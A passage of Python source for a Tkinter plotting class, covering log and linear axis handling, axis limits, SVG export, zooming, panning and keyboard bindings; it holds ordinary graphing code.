where_y_has_same_sign_as_yaxis = np.where(curve.data_y * yaxis.yaxis_sign > 0.)[0]
runs_where_y_has_same_sign_as_yaxis = np.split(where_y_has_same_sign_as_yaxis, np.where(np.diff(where_y_has_same_sign_as_yaxis) != 1)[0] + 1)
curve.points_x = [curve.data_x[run].copy() for run in runs_where_y_has_same_sign_as_yaxis]
curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_y_has_same_sign_as_yaxis]
self.refresh_plot()
def loglog(self, x, y, style = '', **kwargs):
name = kwargs.get('name', '')
yaxis = kwargs.get('yaxis', 'left')
if yaxis not in self.yaxes.keys():
raise ValueError("specified y-axis does not exist")
hold = kwargs.get('hold', 'off')
if hold not in ('on', 'off'):
raise ValueError("if specified, hold must be 'on' or 'off'")
if hold == 'off':
self.default_color_index = 0
self.new_data(x, y, style, name, yaxis, hold)
self.xaxis_mode = 'log'
pos_x_values = 0
total_x_values = 0
for curve_name in self.curves.keys():
pos_x_values += len(np.where(self.curves[curve_name].data_x > 0.)[0])
total_x_values += len(self.curves[curve_name].data_x)
self.xaxis_sign = 1. if pos_x_values >= total_x_values // 2 else -1.
self.xlimits_mode = 'auto'
self.yaxes[yaxis].yaxis_mode = 'log'
pos_y_values = 0
total_y_values = 0
for curve_name in self.curves.keys():
if self.curves[curve_name].yaxis == yaxis:
pos_y_values += len(np.where(self.curves[curve_name].data_y > 0.)[0])
total_y_values += len(self.curves[curve_name].data_y)
self.yaxes[yaxis].yaxis_sign = 1. if pos_y_values >= total_y_values // 2 else -1.
self.yaxes[yaxis].ylimits_mode = 'auto'
for curve_name in self.curves.keys():
curve = self.curves[curve_name]
yaxis = self.yaxes[curve.yaxis]
if yaxis.yaxis_mode == 'linear':
where_x_has_same_sign_as_xaxis = np.where(curve.data_x * self.xaxis_sign > 0.)[0]
runs_where_x_has_same_sign_as_xaxis = np.split(where_x_has_same_sign_as_xaxis, np.where(np.diff(where_x_has_same_sign_as_xaxis) != 1)[0] + 1)
curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_x_has_same_sign_as_xaxis]
curve.points_y = [curve.data_y[run].copy() for run in runs_where_x_has_same_sign_as_xaxis]
elif yaxis.yaxis_mode == 'log':
where_xy_have_same_sign_as_axes = np.where(np.logical_and(curve.data_x * self.xaxis_sign > 0., curve.data_y * yaxis.yaxis_sign > 0.))[0]
runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1)
curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_xy_have_same_sign_as_axes]
curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_xy_have_same_sign_as_axes]
self.refresh_plot()
def grid(self, *args):
if len(args) == 0:
return self.grid_state
elif args[0] in ('on', 'off'):
self.grid_state = args[0]
self.erase_plot()
self.draw_plot()
else:
raise ValueError("invalid grid state specified; it must either be 'on' or 'off'")
def xlabel(self, *args):
if len(args) == 0:
return self.xlabel_value
else:
self.xlabel_value = args[0]
self.erase_plot()
self.draw_plot()
def ylabel(self, *args, **kwargs):
yaxis = kwargs.get('yaxis', 'left')
if yaxis not in self.yaxes.keys():
raise ValueError("specified y-axis does not exist")
if len(args) == 0:
return self.yaxes[yaxis].ylabel_value
else:
self.yaxes[yaxis].ylabel_value = str(args[0])
self.erase_plot()
self.draw_plot()
def xaxis(self, *args):
if len(args) == 0:
return self.xaxis_mode
elif args[0] == 'linear':
self.xaxis_mode = 'linear'
self.xlimits_mode = 'auto'
for curve_name in self.curves.keys():
curve = self.curves[curve_name]
yaxis = self.yaxes[curve.yaxis]
if yaxis.yaxis_mode == 'linear':
curve.points_x = [curve.data_x.copy()]
curve.points_y = [curve.data_y.copy()]
elif yaxis.yaxis_mode == 'log':
where_y_has_same_sign_as_yaxis = np.where(curve.data_y * yaxis.yaxis_sign > 0.)[0]
runs_where_y_has_same_sign_as_yaxis = np.split(where_y_has_same_sign_as_yaxis, np.where(np.diff(where_y_has_same_sign_as_yaxis) != 1)[0] + 1)
curve.points_x = [curve.data_x[run].copy() for run in runs_where_y_has_same_sign_as_yaxis]
curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_y_has_same_sign_as_yaxis]
self.refresh_plot()
elif args[0] == 'log':
self.xaxis_mode = 'log'
pos_x_values = 0
total_x_values = 0
for curve_name in self.curves.keys():
pos_x_values += len(np.where(self.curves[curve_name].data_x > 0.)[0])
total_x_values += len(self.curves[curve_name].data_x)
self.xaxis_sign = 1. if pos_x_values >= total_x_values // 2 else -1.
self.xlimits_mode = 'auto'
for curve_name in self.curves.keys():
curve = self.curves[curve_name]
yaxis = self.yaxes[curve.yaxis]
if yaxis.yaxis_mode == 'linear':
where_x_has_same_sign_as_xaxis = np.where(curve.data_x * self.xaxis_sign > 0.)[0]
runs_where_x_has_same_sign_as_xaxis = np.split(where_x_has_same_sign_as_xaxis, np.where(np.diff(where_x_has_same_sign_as_xaxis) != 1)[0] + 1)
curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_x_has_same_sign_as_xaxis]
curve.points_y = [curve.data_y[run].copy() for run in runs_where_x_has_same_sign_as_xaxis]
elif yaxis.yaxis_mode == 'log':
where_xy_have_same_sign_as_axes = np.where(np.logical_and(curve.data_x * self.xaxis_sign > 0., curve.data_y * yaxis.yaxis_sign > 0.))[0]
runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1)
curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_xy_have_same_sign_as_axes]
curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_xy_have_same_sign_as_axes]
self.refresh_plot()
else:
raise ValueError("invalid x-axis mode specified; it must either be 'linear' or 'log'")
def yaxis(self, *args, **kwargs):
yaxis = kwargs.get('yaxis', 'left')
if yaxis not in self.yaxes.keys():
raise ValueError("specified y-axis does not exist")
if len(args) == 0:
return self.yaxes[yaxis].yaxis_mode
elif args[0] == 'linear':
self.yaxes[yaxis].yaxis_mode = 'linear'
self.yaxes[yaxis].ylimits_mode = 'auto'
if self.xaxis_mode == 'linear':
for curve_name in self.curves.keys():
if self.curves[curve_name].yaxis == yaxis:
self.curves[curve_name].points_x = [self.curves[curve_name].data_x.copy()]
self.curves[curve_name].points_y = [self.curves[curve_name].data_y.copy()]
elif self.xaxis_mode == 'log':
for curve_name in self.curves.keys():
if self.curves[curve_name].yaxis == yaxis:
where_x_has_same_sign_as_xaxis = np.where(self.curves[curve_name].data_x * self.xaxis_sign > 0.)[0]
runs_where_x_has_same_sign_as_xaxis = np.split(where_x_has_same_sign_as_xaxis, np.where(np.diff(where_x_has_same_sign_as_xaxis) != 1)[0] + 1)
self.curves[curve_name].points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * self.curves[curve_name].data_x[run]) for run in runs_where_x_has_same_sign_as_xaxis]
self.curves[curve_name].points_y = [self.curves[curve_name].data_y[run].copy() for run in runs_where_x_has_same_sign_as_xaxis]
self.refresh_plot()
elif args[0] == 'log':
self.yaxes[yaxis].yaxis_mode = 'log'
pos_y_values = 0
total_y_values = 0
for curve_name in self.curves.keys():
if self.curves[curve_name].yaxis == yaxis:
pos_y_values += len(np.where(self.curves[curve_name].data_y > 0.)[0])
total_y_values += len(self.curves[curve_name].data_y)
self.yaxes[yaxis].yaxis_sign = 1. if pos_y_values >= total_y_values // 2 else -1.
self.yaxes[yaxis].ylimits_mode = 'auto'
if self.xaxis_mode == 'linear':
for curve_name in self.curves.keys():
if self.curves[curve_name].yaxis == yaxis:
where_y_has_same_sign_as_yaxis = np.where(self.curves[curve_name].data_y * self.yaxes[yaxis].yaxis_sign > 0.)[0]
runs_where_y_has_same_sign_as_yaxis = np.split(where_y_has_same_sign_as_yaxis, np.where(np.diff(where_y_has_same_sign_as_yaxis) != 1)[0] + 1)
self.curves[curve_name].points_x = [self.curves[curve_name].data_x[run].copy() for run in runs_where_y_has_same_sign_as_yaxis]
self.curves[curve_name].points_y = [self.yaxes[yaxis].yaxis_sign * np.log10(self.yaxes[yaxis].yaxis_sign * self.curves[curve_name].data_y[run]) for run in runs_where_y_has_same_sign_as_yaxis]
elif self.xaxis_mode == 'log':
for curve_name in self.curves.keys():
if self.curves[curve_name].yaxis == yaxis:
where_xy_have_same_sign_as_axes = np.where(np.logical_and(self.curves[curve_name].data_x * self.xaxis_sign > 0., self.curves[curve_name].data_y * self.yaxes[yaxis].yaxis_sign > 0.))[0]
runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1)
self.curves[curve_name].points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * self.curves[curve_name].data_x[run]) for run in runs_where_xy_have_same_sign_as_axes]
self.curves[curve_name].points_y = [self.yaxes[yaxis].yaxis_sign * np.log10(self.yaxes[yaxis].yaxis_sign * self.curves[curve_name].data_y[run]) for run in runs_where_xy_have_same_sign_as_axes]
self.refresh_plot()
else:
raise ValueError("invalid y-axis mode specified; it must either be 'linear' or 'log'")
def xlimits(self, *args):
if len(args) == 0:
if self.xaxis_mode == 'linear':
return [self.xlim[0], self.xlim[1]]
elif self.xaxis_mode == 'log':
return [self.xaxis_sign * math.pow(10., self.xaxis_sign * self.xlim[0]), self.xaxis_sign * math.pow(10., self.xaxis_sign * self.xlim[1])]
elif args[0] in ('auto', 'tight'):
self.xlimits_mode = args[0]
elif type(args[0]) is list:
if len(args[0]) == 2:
args[0][0] = float(args[0][0])
args[0][1] = float(args[0][1])
if args[0][0] == args[0][1]:
raise ValueError('specified lower limit and upper limit were not distinct')
else:
if self.xaxis_mode == 'linear':
self.xlimits_mode = 'manual'
if args[0][0] < args[0][1]:
self.xlim[0] = args[0][0]
self.xlim[1] = args[0][1]
else:
self.xlim[0] = args[0][1]
self.xlim[1] = args[0][0]
elif self.xaxis_mode == 'log':
if args[0][0] * args[0][1] < 0.:
raise ValueError('for a logarithmic axis, both limits must have the same sign')
if (args[0][0] * args[0][1] == 0.) or (args[0][0] * args[0][1] == -0.):
raise ValueError('for a logarithmic axis, neither limit can be zero')
self.xlimits_mode = 'manual'
if self.xaxis_sign * args[0][0] < 0.:
self.xaxis_sign = -self.xaxis_sign
for curve_name in self.curves.keys():
curve = self.curves[curve_name]
yaxis = self.yaxes[curve.yaxis]
if yaxis.yaxis_mode == 'linear':
where_x_has_same_sign_as_xaxis = np.where(curve.data_x * self.xaxis_sign > 0.)[0]
runs_where_x_has_same_sign_as_xaxis = np.split(where_x_has_same_sign_as_xaxis, np.where(np.diff(where_x_has_same_sign_as_xaxis) != 1)[0] + 1)
curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_x_has_same_sign_as_xaxis]
curve.points_y = [curve.data_y[run].copy() for run in runs_where_x_has_same_sign_as_xaxis]
elif yaxis.yaxis_mode == 'log':
where_xy_have_same_sign_as_axes = np.where(np.logical_and(curve.data_x * self.xaxis_sign > 0., curve.data_y * yaxis.yaxis_sign > 0.))[0]
runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1)
curve.points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * curve.data_x[run]) for run in runs_where_xy_have_same_sign_as_axes]
curve.points_y = [yaxis.yaxis_sign * np.log10(yaxis.yaxis_sign * curve.data_y[run]) for run in runs_where_xy_have_same_sign_as_axes]
if args[0][0] < args[0][1]:
self.xlim[0] = self.xaxis_sign * math.log10(self.xaxis_sign * args[0][0])
self.xlim[1] = self.xaxis_sign * math.log10(self.xaxis_sign * args[0][1])
else:
self.xlim[0] = self.xaxis_sign * math.log10(self.xaxis_sign * args[0][1])
self.xlim[1] = self.xaxis_sign * math.log10(self.xaxis_sign * args[0][0])
elif len(args[0]) < 2:
raise IndexError('did not specify both a lower and an upper limit for the x-axis')
else:
raise IndexError('more than two limits were specified for the x-axis')
else:
raise ValueError("invalid x-limits specification; it must be 'auto', 'tight', or a list of limits")
self.refresh_plot()
def ylimits(self, *args, **kwargs):
yaxis = kwargs.get('yaxis', 'left')
if yaxis not in self.yaxes.keys():
raise ValueError("specified y-axis does not exist")
if len(args) == 0:
if self.yaxes[yaxis].yaxis_mode == 'linear':
return [self.yaxes[yaxis].ylim[0], self.yaxes[yaxis].ylim[1]]
elif self.yaxes[yaxis].yaxis_mode == 'log':
return [self.yaxes[yaxis].yaxis_sign * math.pow(10., self.yaxes[yaxis].yaxis_sign * self.yaxes[yaxis].ylim[0]), self.yaxes[yaxis].yaxis_sign * math.pow(10., self.yaxes[yaxis].yaxis_sign * self.yaxes[yaxis].ylim[1])]
elif args[0] in ('auto', 'tight'):
self.yaxes[yaxis].ylimits_mode = args[0]
elif type(args[0]) is list:
if len(args[0]) == 2:
args[0][0] = float(args[0][0])
args[0][1] = float(args[0][1])
if args[0][0] == args[0][1]:
raise ValueError('specified lower limit and upper limit were not distinct')
else:
if self.yaxes[yaxis].yaxis_mode == 'linear':
self.yaxes[yaxis].ylimits_mode = 'manual'
if args[0][0] < args[0][1]:
self.yaxes[yaxis].ylim[0] = args[0][0]
self.yaxes[yaxis].ylim[1] = args[0][1]
else:
self.yaxes[yaxis].ylim[0] = args[0][1]
self.yaxes[yaxis].ylim[1] = args[0][0]
elif self.yaxes[yaxis].yaxis_mode == 'log':
if args[0][0] * args[0][1] < 0.:
raise ValueError('for a logarithmic axis, both limits must have the same sign')
if (args[0][0] * args[0][1] == 0.) or (args[0][0] * args[0][1] == -0.):
raise ValueError('for a logarithmic axis, neither limit can be zero')
self.yaxes[yaxis].ylimits_mode = 'manual'
if self.yaxes[yaxis].yaxis_sign * args[0][0] < 0.:
self.yaxes[yaxis].yaxis_sign = -self.yaxes[yaxis].yaxis_sign
if self.xaxis_mode == 'linear':
for curve_name in self.curves.keys():
if self.curves[curve_name].yaxis == yaxis:
where_y_has_same_sign_as_yaxis = np.where(self.curves[curve_name].data_y * self.yaxes[yaxis].yaxis_sign > 0.)[0]
runs_where_y_has_same_sign_as_yaxis = np.split(where_y_has_same_sign_as_yaxis, np.where(np.diff(where_y_has_same_sign_as_yaxis) != 1)[0] + 1)
self.curves[curve_name].points_x = [self.curves[curve_name].data_x[run].copy() for run in runs_where_y_has_same_sign_as_yaxis]
self.curves[curve_name].points_y = [self.yaxes[yaxis].yaxis_sign * np.log10(self.yaxes[yaxis].yaxis_sign * self.curves[curve_name].data_y[run]) for run in runs_where_y_has_same_sign_as_yaxis]
elif self.xaxis_mode == 'log':
for curve_name in self.curves.keys():
if self.curves[curve_name].yaxis == yaxis:
where_xy_have_same_sign_as_axes = np.where(np.logical_and(self.curves[curve_name].data_x * self.xaxis_sign > 0., self.curves[curve_name].data_y * self.yaxes[yaxis].yaxis_sign > 0.))[0]
runs_where_xy_have_same_sign_as_axes = np.split(where_xy_have_same_sign_as_axes, np.where(np.diff(where_xy_have_same_sign_as_axes) != 1)[0] + 1)
self.curves[curve_name].points_x = [self.xaxis_sign * np.log10(self.xaxis_sign * self.curves[curve_name].data_x[run]) for run in runs_where_xy_have_same_sign_as_axes]
self.curves[curve_name].points_y = [self.yaxes[yaxis].yaxis_sign * np.log10(self.yaxes[yaxis].yaxis_sign * self.curves[curve_name].data_y[run]) for run in runs_where_xy_have_same_sign_as_axes]
if args[0][0] < args[0][1]:
self.yaxes[yaxis].ylim[0] = self.yaxes[yaxis].yaxis_sign * math.log10(self.yaxes[yaxis].yaxis_sign * args[0][0])
self.yaxes[yaxis].ylim[1] = self.yaxes[yaxis].yaxis_sign * math.log10(self.yaxes[yaxis].yaxis_sign * args[0][1])
else:
self.yaxes[yaxis].ylim[0] = self.yaxes[yaxis].yaxis_sign * math.log10(self.yaxes[yaxis].yaxis_sign * args[0][1])
self.yaxes[yaxis].ylim[1] = self.yaxes[yaxis].yaxis_sign * math.log10(self.yaxes[yaxis].yaxis_sign * args[0][0])
elif len(args[0]) < 2:
raise IndexError('did not specify both a lower and an upper limit for the y-axis')
else:
raise IndexError('more than two limits were specified for the y-axis')
else:
raise ValueError("invalid y-limits specification; it must be 'auto', 'tight', or a list of limits")
self.refresh_plot()
def svg(self, filename):
self.svg_backend()
self.svg_file = codecs.open(filename, encoding = 'utf-8', mode = 'w')
self.svg_file.write(u'<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="{width!s}px" height="{height!s}px" viewBox="0 0 {width!s} {height!s}">\n'.format(width = self.canvas_width, height = self.canvas_height))
self.begin_group()
self.draw_plot()
self.end_group()
self.svg_file.write(u'</svg>\n')
self.svg_file.close()
self.svg_file = None
self.tk_backend()
def zoom_to_fit(self, **kwargs):
mode = kwargs.get('mode', 'auto')
if mode not in ('auto', 'tight'):
raise ValueError("if specified, mode must be 'auto' or 'tight'")
yaxis = kwargs.get('yaxis', 'all')
if (yaxis != 'all') and (yaxis not in self.yaxes.keys()):
raise ValueError('specified y-axis does not exist')
self.xlimits_mode = mode
if yaxis == 'all':
for yaxis in self.yaxes.keys():
self.yaxes[yaxis].ylimits_mode = mode
else:
self.yaxes[yaxis].ylimits_mode = mode
self.refresh_plot()
def zoom_in(self, **kwargs):
factor = kwargs.get('factor', math.sqrt(2))
yaxis = kwargs.get('yaxis', 'all')
if (yaxis != 'all') and (yaxis not in self.yaxes.keys()):
raise ValueError('specified y-axis does not exist')
cx = kwargs.get('cx', 0.5 * (self.axes_left + self.axes_right))
cy = kwargs.get('cy', 0.5 * (self.axes_top + self.axes_bottom))
x = self.from_canvas_x(cx)
self.xlimits_mode = 'manual'
self.xlim[0] = x - 0.5 * self.xrange / factor
self.xlim[1] = x + 0.5 * self.xrange / factor
if yaxis == 'all':
for yaxis in self.yaxes.keys():
y = self.from_canvas_y(cy, yaxis)
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange / factor
self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange / factor
else:
y = self.from_canvas_y(cy, yaxis)
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange / factor
self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange / factor
self.refresh_plot()
def zoom_in_x(self, **kwargs):
factor = kwargs.get('factor', math.sqrt(2))
cx = kwargs.get('cx', 0.5 * (self.axes_left + self.axes_right))
x = self.from_canvas_x(cx)
self.xlimits_mode = 'manual'
self.xlim[0] = x - 0.5 * self.xrange / factor
self.xlim[1] = x + 0.5 * self.xrange / factor
self.refresh_plot()
def zoom_in_y(self, **kwargs):
factor = kwargs.get('factor', math.sqrt(2))
yaxis = kwargs.get('yaxis', 'all')
if (yaxis != 'all') and (yaxis not in self.yaxes.keys()):
raise ValueError('specified y-axis does not exist')
cy = kwargs.get('cy', 0.5 * (self.axes_top + self.axes_bottom))
if yaxis == 'all':
for yaxis in self.yaxes.keys():
y = self.from_canvas_y(cy, yaxis)
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange / factor
self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange / factor
else:
y = self.from_canvas_y(cy, yaxis)
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange / factor
self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange / factor
self.refresh_plot()
def zoom_out(self, **kwargs):
factor = kwargs.get('factor', math.sqrt(2))
yaxis = kwargs.get('yaxis', 'all')
if (yaxis != 'all') and (yaxis not in self.yaxes.keys()):
raise ValueError('specified y-axis does not exist')
cx = kwargs.get('cx', 0.5 * (self.axes_left + self.axes_right))
cy = kwargs.get('cy', 0.5 * (self.axes_top + self.axes_bottom))
x = self.from_canvas_x(cx)
self.xlimits_mode = 'manual'
self.xlim[0] = x - 0.5 * self.xrange * factor
self.xlim[1] = x + 0.5 * self.xrange * factor
if yaxis == 'all':
for yaxis in self.yaxes.keys():
y = self.from_canvas_y(cy, yaxis)
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange * factor
self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange * factor
else:
y = self.from_canvas_y(cy, yaxis)
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange * factor
self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange * factor
self.refresh_plot()
def zoom_out_x(self, **kwargs):
factor = kwargs.get('factor', math.sqrt(2))
cx = kwargs.get('cx', 0.5 * (self.axes_left + self.axes_right))
x = self.from_canvas_x(cx)
self.xlimits_mode = 'manual'
self.xlim[0] = x - 0.5 * self.xrange * factor
self.xlim[1] = x + 0.5 * self.xrange * factor
self.refresh_plot()
def zoom_out_y(self, **kwargs):
factor = kwargs.get('factor', math.sqrt(2))
yaxis = kwargs.get('yaxis', 'all')
if (yaxis != 'all') and (yaxis not in self.yaxes.keys()):
raise ValueError('specified y-axis does not exist')
cy = kwargs.get('cy', 0.5 * (self.axes_top + self.axes_bottom))
if yaxis == 'all':
for yaxis in self.yaxes.keys():
y = self.from_canvas_y(cy, yaxis)
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange * factor
self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange * factor
else:
y = self.from_canvas_y(cy, yaxis)
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] = y - 0.5 * self.yaxes[yaxis].yrange * factor
self.yaxes[yaxis].ylim[1] = y + 0.5 * self.yaxes[yaxis].yrange * factor
self.refresh_plot()
def zoom_rect(self, *args, **kwargs):
left = kwargs.get('left', self.axes_left)
right = kwargs.get('right', self.axes_right)
top = kwargs.get('top', self.axes_top)
bottom = kwargs.get('bottom', self.axes_bottom)
yaxis = kwargs.get('yaxis', 'all')
if (yaxis != 'all') and (yaxis not in self.yaxes.keys()):
raise ValueError('specified y-axis does not exist')
if len(args) == 1:
if (type(args[0]) is list) and (len(args[0]) == 4):
left = float(args[0][0])
right = float(args[0][2])
top = float(args[0][1])
bottom = float(args[0][3])
else:
raise ValueError('if specified, the optional argument must be a four-element list specifying the left, top, right, and bottom coordinates of the zoom rectangle')
elif len(args) > 1:
raise IndexError('too many arguments supplied to zoom_rect')
if (left < right) and (top < bottom):
self.xlimits_mode = 'manual'
self.xlim[0], self.xlim[1] = self.from_canvas_x(left), self.from_canvas_x(right)
if yaxis == 'all':
for yaxis in self.yaxes.keys():
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0], self.yaxes[yaxis].ylim[1] = self.from_canvas_y(bottom, yaxis), self.from_canvas_y(top, yaxis)
else:
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0], self.yaxes[yaxis].ylim[1] = self.from_canvas_y(bottom, yaxis), self.from_canvas_y(top, yaxis)
self.refresh_plot()
def pan_left(self, **kwargs):
fraction = kwargs.get('fraction', 0.1)
self.xlimits_mode = 'manual'
self.xlim[0] -= fraction * self.xrange
self.xlim[1] -= fraction * self.xrange
self.refresh_plot()
def pan_right(self, **kwargs):
fraction = kwargs.get('fraction', 0.1)
self.xlimits_mode = 'manual'
self.xlim[0] += fraction * self.xrange
self.xlim[1] += fraction * self.xrange
self.refresh_plot()
def pan_up(self, **kwargs):
fraction = kwargs.get('fraction', 0.1)
yaxis = kwargs.get('yaxis', 'all')
if (yaxis != 'all') and (yaxis not in self.yaxes.keys()):
raise ValueError('specified y-axis does not exist')
if yaxis == 'all':
for yaxis in self.yaxes.keys():
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] += fraction * self.yaxes[yaxis].yrange
self.yaxes[yaxis].ylim[1] += fraction * self.yaxes[yaxis].yrange
else:
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] += fraction * self.yaxes[yaxis].yrange
self.yaxes[yaxis].ylim[1] += fraction * self.yaxes[yaxis].yrange
self.refresh_plot()
def pan_down(self, **kwargs):
fraction = kwargs.get('fraction', 0.1)
yaxis = kwargs.get('yaxis', 'all')
if (yaxis != 'all') and (yaxis not in self.yaxes.keys()):
raise ValueError('specified y-axis does not exist')
if yaxis == 'all':
for yaxis in self.yaxes.keys():
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] -= fraction * self.yaxes[yaxis].yrange
self.yaxes[yaxis].ylim[1] -= fraction * self.yaxes[yaxis].yrange
else:
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] -= fraction * self.yaxes[yaxis].yrange
self.yaxes[yaxis].ylim[1] -= fraction * self.yaxes[yaxis].yrange
self.refresh_plot()
def pan(self, **kwargs):
dx = kwargs.get('dx', 0.)
dy = kwargs.get('dy', 0.)
yaxis = kwargs.get('yaxis', 'all')
if (yaxis != 'all') and (yaxis not in self.yaxes.keys()):
raise ValueError('specified y-axis does not exist')
if (dx != 0.) or (dy != 0.):
self.xlimits_mode = 'manual'
self.xlim[0] -= dx * self.x_epsilon
self.xlim[1] -= dx * self.x_epsilon
if yaxis == 'all':
for yaxis in self.yaxes.keys():
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] += dy * self.yaxes[yaxis].y_epsilon
self.yaxes[yaxis].ylim[1] += dy * self.yaxes[yaxis].y_epsilon
else:
self.yaxes[yaxis].ylimits_mode = 'manual'
self.yaxes[yaxis].ylim[0] += dy * self.yaxes[yaxis].y_epsilon
self.yaxes[yaxis].ylim[1] += dy * self.yaxes[yaxis].y_epsilon
self.refresh_plot()
def delete_curve(self, name):
if name in self.curves:
del(self.curves[name])
else:
raise NameError('no curve exists with name = {0!r}'.format(name))
self.refresh_plot()
def configure_curve(self, name, **kwargs):
style = kwargs.get('style', '')
if name in self.curves:
marker_color = kwargs.get('marker_color', self.curves[name].marker_color)
marker = kwargs.get('marker', self.curves[name].marker)
curve_color = kwargs.get('curve_color', self.curves[name].curve_color)
curve_style = kwargs.get('curve_style', self.curves[name].curve_style)
if style == '':
self.curves[name].marker_color = marker_color
self.curves[name].marker = marker
self.curves[name].curve_color = curve_color
self.curves[name].curve_style = curve_style
else:
[self.curves[name].marker_color, self.curves[name].marker, self.curves[name].curve_color, self.curves[name].curve_style] = self.parse_style(style)
else:
raise NameError('no curve exists with name = {0!r}'.format(name))
self.refresh_plot()
def bindings(self):
self.key_bindings()
self.mouse_bindings()
def key_bindings(self):
self.canvas.bind('<Up>', lambda event: self.pan_up())
self.canvas.bind('<Down>', lambda event: self.pan_down())
self.canvas.bind('<Left>', lambda event: self.pan_left())
self.canvas.bind('<Right>', lambda event: self.pan_right())
self.canvas.bind('<Control-Up>', lambda event: self.pan_up(fraction = 0.5))
self.canvas.bind('<Control-Down>', lambda event: self.pan_down(fraction = 0.5))
self.canvas.bind('<Control-Left>', lambda event: self.pan_left(fraction = 0.5))
self.canvas.bind('<Control-Right>', lambda event: self.pan_right(fraction = 0.5))
self.canvas.bind('<Shift-Up>', lambda event: self.pan_up(fraction = 1. / self.axes_height))
self.canvas.bind('<Shift-Down>', lambda event: self.pan_down(fraction = 1. / self.axes_height))
self.canvas.bind('<Shift-Left>', lambda event: self.pan_left(fraction = 1. / self.axes_width))
self.canvas.bind('<Shift-Right>', lambda event: self.pan_right(fraction = 1. / self.axes_width))
self.canvas.bind('=', lambda event: self.zoom_in())
self.canvas.bind('-', lambda event: self.zoom_out())
self.canvas.bind('<Control-equal>', lambda event: self.zoom_in(factor = 2.))
self.canvas.bind('<Control-minus>', lambda event: self.zoom_out(factor = 2.))
self.canvas.bind('+', lambda event: self.zoom_in(factor = math.sqrt(math.sqrt(2.))))
self.canvas.bind('_', lambda event: self.zoom_out(factor = math.sqrt(math.sqrt(2.))))
self.canvas.bind('h', lambda event: self.zoom_to_fit())
self.canvas.bind('<Home>', lambda event: self.zoom_to_fit())
self.canvas.bind('g', lambda event: self.grid('off') if self.grid() == 'on' else self.grid('on'))
self.canvas.bind('x', lambda event: self.xaxis('log') if self.xaxis() == 'linear' else self.xaxis('linear'))
self.canvas.bind('y', lambda event: self.yaxis('log') if self.yaxis() == 'linear' else self.yaxis('linear'))
self.canvas.bind('l', lambda event: self.yaxis('log') if self.yaxis() == 'linear' else self.yaxis('linear'))
self.canvas.bind('r', lambda event: self.yaxis('log', side = 'right') if self.yaxis(side = 'right') == 'linear' else self.yaxis('linear', side = 'right'))
def mouse_bindings(self):
self.marker_color = tk.StringVar()
self.marker_color.set('b')
self.marker = tk.StringVar()
self.marker.set('')
self.curve_color = tk.StringVar()
self.curve_color.set('b')
self.curve_style = tk.StringVar()
self.marker.set('')
self.curve_name = ''
self.curve_menu = tk.Menu(self.canvas, tearoff = 0)
marker_menu = tk.Menu(self.curve_menu, tearoff = 0)
